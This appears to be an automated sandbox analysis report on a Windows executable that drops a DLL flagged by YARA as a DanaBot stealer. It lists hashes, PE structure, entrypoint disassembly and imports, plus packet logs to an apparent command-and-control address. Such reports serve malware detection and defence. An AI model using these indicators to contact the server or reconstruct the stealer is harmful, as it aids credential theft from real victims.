C:\Users\user\AppData\Local\Temp\Osretqqwipoa.tmp

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	DOS executable (block device driver s\256\)
Category:	dropped
Size (bytes):	3667248
Entropy (8bit):	7.999940082060493
Encrypted:	true
SSDEEP:	98304:Ayq8O7XScy/L3Vp8Zauw762ERQKirE4GqD4ZqWQZl:nYXmL3VpGwBxfX4QZl
MD5:	68789879BE387FF36958C98E54ED6CD3
SHA1:	1DD1083A676214A57AF9E8C31CB00EEC8417AA2D
SHA-256:	34DB9FDF30554009FF3FD5F65FE7DA13377355FC507CCB42EADB1FB544502DFB
SHA-512:	AEDAA065DB7661902BE2B6802D8F7A49BC49ECE1AB6E7C72B5EE96B5267D311B0626A1708DAFBA852E6BC5ADBDB7F32215225C488FEB31CCF52D66277A16698E
Malicious:	false
Reputation:	unknown
Preview:	........ .7........l..s..............R.t....tS.Y.,-.n.^.n.X.].Y.."5....Pw...U.[...QLs4Y....X...g.p..........n.pe..1....%...e..3;.G...... .6&.01c.sZ.-.x$."j.....J......X..z..f.kA...HPo.O.z&.'.-.;..m...0..X..C...s..0.:.mc.R..=.rB......?B..<w8f.y...).I.x'.B....0.@.5..,GeK.l\|,h....mSr.m1..+2>.k.Z.. .......hb.:...g.h=..y..HlQ..,.........g...c....R6.$..##....h.d.'V...3v...Cw.S,...+.............o.f.R..g.?Bn#....R.dkA.....X...._..3..l....sRh..3.;.f..2.iC..7J.O.,.5X..mJ..(.....1..S.._.,O.P....LQ..H.......p^...."u.2&......rj.ue.R.....E.....r..@\g.........1.X.....H..U$Z^.....py=.N...5/#v.b. ...2.):;.......x(..^.w..=..o....tjn].}Q....Z.t.0.e...t...8_q....M.......C....g....n....t.j..^.#..N.,.....d...2..._...%Y<.....C.T..8..^g....8.....5<..d.Yc].R...>S.Y`}..Z...U..I...A(`.SL...h.j..l6\q..C4[....Zc."...~.K&T.{.K....d3o.o....s\.<P\.ub.}.)..r:Xt..y....?....v?.....e....G.~..r..6."..y..... @..#....W...T.T.%.o...'XK*........'..zb..:..59......m...w..}_?m<1...\|

C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3391488
Entropy (8bit):	6.485916340895372
Encrypted:	false
SSDEEP:	98304:zH2ZSYRBGBc/kmdCMoEb2Byk8FOTNFMCBEp5X:zHESYfQc/kmdCMoEb2Byk885F7BEph
MD5:	863D9D2A5A4E70CF4B22EBA730B43681
SHA1:	0D179192FBBF6F7C3FEE3F174EADC03DF3A1A792
SHA-256:	12868680DC13552C927A5CD95740B08D1825B1398B9CE32EFDFCB904F0477A9B
SHA-512:	AD5D28FF196755F03C65BC516BECF8433D1FE21BC7CF6165C61D8E7A4ADB07354E55CA6EA828072DB4591A7F6C9774BFD670B0D4E75227918828238D2D37A0D5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DanaBot_stealer_dll_1, Description: Yara detected DanaBot stealer dll, Source: C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll, Author: Joe Security
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...4D.d..................0...........0...... 0...@...........................4......................................@1.......1.t....P4..8...................`1.....................................................\.1.0....01.F....................text...../......./................. ..`.itext........0......./............. ..`.data........ 0.......0.............@....bss.....d....0..........................idata..t.....1.......0.............@....didata.F....01.......0.............@....edata.......@1.......0.............@..@.rdata..D....P1.......0.............@..@.reloc.......`1.......0.............@..B.rsrc....8...P4..8....3.............@..@..............4.......3.............@..@........................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.919750342433978
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2806272
MD5:	50b28c8b39d65e49be2873ef4fae4955
SHA1:	a13c4d71e4add3ba31d6d1b10cc927c953676455
SHA256:	5daeae2494873409b8b59fd1adde883ce972d9a1d9616ce7d9067aaa3527ed7f
SHA512:	2a657fbf951738e5f96cc7095e6d5b6983afcde20e4ce9c4f1c3043e97617d547a37165f51cf7ec382f2744d206f997a90c7b579953bf4722b4a3ba2f268caf9
SSDEEP:	49152:4kKEnVVYyTxwZCpm/roseFEFhuhLmHGugnc4tNz+EldRXDZU6hKtAV7hh:4tEVimeYpm/rostFwYHNgnhmKULAV
TLSH:	46D52203C6E17C85DA258B73AE1EC2E4B61DB5A1CF1877F62368DE2B05B10B2D173616
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(...zB..(...zS..(...zT..(.......(...(...(...z]..(...zC..(...zF..(..Rich.(..........PE..L......a.................J(

File Icon


Icon Hash:	a4a4a494a4a4a4e0

Static PE Info

General

Entrypoint:	0x40698e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61C2FDCE [Wed Dec 22 10:28:30 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	e363d5da20c70258bd1c7ee5e97f31ef

Entrypoint Preview

Instruction
call 00007F68A0C9F5D7h
jmp 00007F68A0C9AEFEh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword ptr [02D35B68h]
call 00007F68A0C9F06Ch
push dword ptr [02D35B64h]
mov edi, eax
mov dword ptr [ebp-04h], edi
call 00007F68A0C9F05Ch
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
jc 00007F68A0C9B109h
mov ebx, esi
sub ebx, edi
lea eax, dword ptr [ebx+04h]
cmp eax, 04h
jc 00007F68A0C9B0F9h
push edi
call 00007F68A0C9F705h
mov edi, eax
lea eax, dword ptr [ebx+04h]
pop ecx
cmp edi, eax
jnc 00007F68A0C9B0CAh
mov eax, 00000800h
cmp edi, eax
jnc 00007F68A0C9B084h
mov eax, edi
add eax, edi
cmp eax, edi
jc 00007F68A0C9B091h
push eax
push dword ptr [ebp-04h]
call 00007F68A0C9F693h
pop ecx
pop ecx
test eax, eax
jne 00007F68A0C9B098h
lea eax, dword ptr [edi+10h]
cmp eax, edi
jc 00007F68A0C9B0C2h
push eax
push dword ptr [ebp-04h]
call 00007F68A0C9F67Dh
pop ecx
pop ecx
test eax, eax
je 00007F68A0C9B0B3h
sar ebx, 02h
push eax
lea esi, dword ptr [eax+ebx*4]
call 00007F68A0C9EF77h
pop ecx
mov dword ptr [02D35B68h], eax
push dword ptr [ebp+08h]
call 00007F68A0C9EF69h
mov dword ptr [esi], eax
add esi, 04h
push esi
call 00007F68A0C9EF5Eh
pop ecx
mov dword ptr [02D35B64h], eax
mov eax, dword ptr [ebp+08h]
pop ecx
jmp 00007F68A0C9B084h
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, edi
push esi

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x284f6c	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2937000	0x1af20	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2952000	0xd0c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11f0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2db8	0x18	.text
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d70	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x194	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x284884	0x284a00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x286000	0x26b0ca8	0x3e00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2937000	0x1af20	0x1b000	False	0.4055808738425926	data	4.408346862958102	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2952000	0x9444	0x9600	False	0.07703125	data	0.9667957712228643	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x2950a70	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0
RT_CURSOR	0x2950da0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0
RT_ICON	0x2937990	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Serbian	Italy
RT_ICON	0x2938838	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Serbian	Italy
RT_ICON	0x29390e0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Serbian	Italy
RT_ICON	0x29397a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Serbian	Italy
RT_ICON	0x2939d10	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Serbian	Italy
RT_ICON	0x293c2b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Serbian	Italy
RT_ICON	0x293d360	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Serbian	Italy
RT_ICON	0x293d830	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Serbian	Italy
RT_ICON	0x293e6d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Serbian	Italy
RT_ICON	0x293ef80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Serbian	Italy
RT_ICON	0x293f648	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Serbian	Italy
RT_ICON	0x293fbb0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Serbian	Italy
RT_ICON	0x2942158	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Serbian	Italy
RT_ICON	0x2943200	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Serbian	Italy
RT_ICON	0x2943b88	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Serbian	Italy
RT_ICON	0x2944068	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Serbian	Italy
RT_ICON	0x2944f10	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Serbian	Italy
RT_ICON	0x29457b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Serbian	Italy
RT_ICON	0x2945d20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Serbian	Italy
RT_ICON	0x29482c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Serbian	Italy
RT_ICON	0x2949370	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Serbian	Italy
RT_ICON	0x2949cf8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Serbian	Italy
RT_ICON	0x294a1c8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Serbian	Italy
RT_ICON	0x294b070	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Serbian	Italy
RT_ICON	0x294b918	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Serbian	Italy
RT_ICON	0x294bfe0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Serbian	Italy
RT_ICON	0x294c548	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Serbian	Italy
RT_ICON	0x294eaf0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Serbian	Italy
RT_ICON	0x294fb98	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Serbian	Italy
RT_ICON	0x2950520	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Serbian	Italy
RT_DIALOG	0x29510e0	0x86	data
RT_STRING	0x2951168	0x466	data
RT_STRING	0x29515d0	0x2ba	data
RT_STRING	0x2951890	0x4bc	data
RT_STRING	0x2951d50	0x1ce	data
RT_ACCELERATOR	0x2950a00	0x48	data	Serbian	Italy
RT_ACCELERATOR	0x2950a48	0x18	data	Serbian	Italy
RT_GROUP_CURSOR	0x2950ed0	0x22	data
RT_GROUP_ICON	0x294a160	0x68	data	Serbian	Italy
RT_GROUP_ICON	0x293d7c8	0x68	data	Serbian	Italy
RT_GROUP_ICON	0x2943ff0	0x76	data	Serbian	Italy
RT_GROUP_ICON	0x2950988	0x76	data	Serbian	Italy
RT_VERSION	0x2950ef8	0x1e4	data
None	0x2950a60	0xa	data

Imports

DLL	Import
KERNEL32.dll	CallNamedPipeW, FreeEnvironmentStringsA, GetConsoleAliasesA, GetWindowsDirectoryA, LoadLibraryW, GetStringTypeExW, GetExitCodeProcess, lstrcpynW, GetFileAttributesW, LocalReAlloc, WriteConsoleW, GetBinaryTypeW, MultiByteToWideChar, SetLastError, GetProcAddress, VirtualAlloc, EnumSystemCodePagesW, GlobalAddAtomA, LocalAlloc, GetFileType, CreateHardLinkW, CreateEventW, OpenJobObjectW, FindAtomA, GetStringTypeW, EnumDateFormatsW, DeleteTimerQueueTimer, GetPrivateProfileSectionW, OpenFileMappingA, LCMapStringW, CloseHandle, CreateFileA, FlushFileBuffers, GetConsoleOutputCP, InterlockedIncrement, InterlockedDecrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetStartupInfoW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetLastError, HeapFree, RtlUnwind, RaiseException, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, HeapAlloc, SetHandleCount, GetStdHandle, GetStartupInfoA, GetModuleHandleW, ExitProcess, WriteFile, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapSize, HeapReAlloc, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetLocaleInfoA, GetStringTypeA, SetFilePointer, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, InitializeCriticalSectionAndSpinCount, LoadLibraryA, LCMapStringA, SetStdHandle, WriteConsoleA
USER32.dll	CreateMDIWindowW, NotifyWinEvent, InvalidateRgn, LoadMenuW, GetMenuInfo, ScreenToClient
GDI32.dll	GetGlyphIndicesA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Serbian	Italy

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2023 15:07:47.674309969 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:47.674376011 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:47.674463987 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:47.712168932 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:47.712208986 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:51.885109901 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:51.885251999 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:53.205209017 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:53.205292940 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:53.205881119 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:53.205952883 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:53.312167883 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:53.312201977 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:53.871206045 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:53.871309996 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:53.871386051 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:53.871412039 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:53.871519089 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:53.871520042 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:53.871536016 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:53.873703003 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.016601086 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.016643047 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.016839027 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.016896963 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.017010927 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.160706043 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.160928011 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.161397934 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.161499023 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.161530972 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.161567926 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.161613941 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.161628008 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.161658049 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.161678076 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.305035114 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.305075884 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.305174112 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.305243969 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.305258036 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.305290937 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.305316925 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.305361986 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.305521011 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.305552006 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.305627108 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.305643082 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.305680990 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.305689096 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.306534052 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.306565046 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.306684971 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.306715965 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.306773901 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.306915045 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.306950092 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.307035923 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.307044983 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.307097912 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.307122946 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.450001001 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.450045109 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.450160980 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.450244904 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.450247049 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.450294971 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.450319052 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.450365067 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.450418949 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.450572968 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.450611115 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.450676918 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.450710058 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.450756073 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.450790882 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451266050 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451333046 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451386929 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451406956 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451440096 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451461077 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451646090 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451687098 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451735020 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451751947 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451793909 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451807976 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451828957 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451863050 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451911926 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451925993 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.451945066 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.451978922 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.452514887 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.452619076 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.452625990 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.452646017 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.452708006 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.452729940 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.452805042 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.452847004 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.452909946 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.452924967 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.452949047 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.452971935 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.453196049 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.453286886 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.453356981 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.453433990 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.453440905 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.453476906 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.453661919 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.453694105 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.453746080 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.453761101 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.453782082 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.453803062 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.595136881 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.595242023 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.595382929 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.595424891 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.595479965 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.596362114 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.597549915 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.597620010 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.597712040 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.597742081 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.597762108 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.597796917 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.597862959 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.597918987 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.597960949 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.597973108 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.597995996 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.598025084 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.598242998 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.598295927 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.598340034 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.598354101 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.598388910 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.598401070 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.598628044 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.598685026 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.598740101 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.598753929 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.598789930 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.598818064 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.598998070 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.599056005 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.599087000 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.599098921 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.599119902 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.599153042 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.599373102 CET	443	49710	104.234.147.45	192.168.2.6
